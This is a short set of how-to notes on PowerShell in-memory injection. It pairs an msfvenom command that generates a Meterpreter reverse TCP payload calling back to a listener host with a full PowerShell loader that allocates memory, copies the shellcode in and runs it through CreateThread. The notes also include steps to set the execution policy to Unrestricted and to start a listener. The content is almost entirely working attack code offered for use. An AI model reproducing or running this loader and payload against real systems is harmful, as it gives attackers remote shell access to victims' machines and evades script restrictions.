Using script in powershell

Using script in powershell

(Powershell in memory injection)

• Create payloas=d msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f powershell

• Create powershell script av.ps1 and place the payload in it

---

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc =
  Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

• By default ps1 script are restricted in powershell , so unrestrict it Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

• Start meterpreter session or netcat to listen

• .\av.ps1